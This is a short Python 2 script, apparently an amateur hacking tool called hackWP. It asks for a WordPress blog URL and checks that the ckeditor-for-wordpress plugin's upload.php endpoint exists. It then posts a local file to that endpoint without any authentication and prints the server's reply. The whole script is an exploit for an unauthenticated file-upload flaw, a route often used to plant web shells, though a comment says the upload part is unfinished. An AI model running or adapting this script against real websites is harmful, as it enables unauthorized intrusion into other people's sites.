#!/usr/bin/env python
import os.path
from httplib2 import Http
import requests
from urllib import urlencode
h = Http()
def hackWP():
    website = raw_input("+ Please enter the WP blog URL (type 'exit' to exit): ")
    if website == "exit":
        return False

    print "# Checking %s..." % website
    print "# ..."
    print "# ..."
    resp, content = h.request(("%s" % website))

    if resp.status == 404:
         print "# The website %s not exist." % website
         hackWP()
    else:
        print "# The website %s EXIST." % website
        print "# Check if ckeditor-for-wordpress..."
        print "# ..."
        print "# ..."
        resp, content = h.request(("%s/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php" % website))#
        if resp.status == 404:
             print "# The plugin ckeditor-for-wordpress not exist."
             hackWP()
        else:
            print "# The plugin ckeditor-for-wordpress EXIST."
            print "# Subiendo fichero"
            file_to_upload = 'test.txt'
            if not os.path.isfile(file_to_upload):
                print 'No existe el fichero test.txt'
                return False
            print "# ..."
            print "# ..."
            #TODO: This part is not ready.
            files = {'NewFile': open(file_to_upload, 'rb')}
            r = requests.post(("%s/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php" % website), files=files)
            print r.text

hackWP()
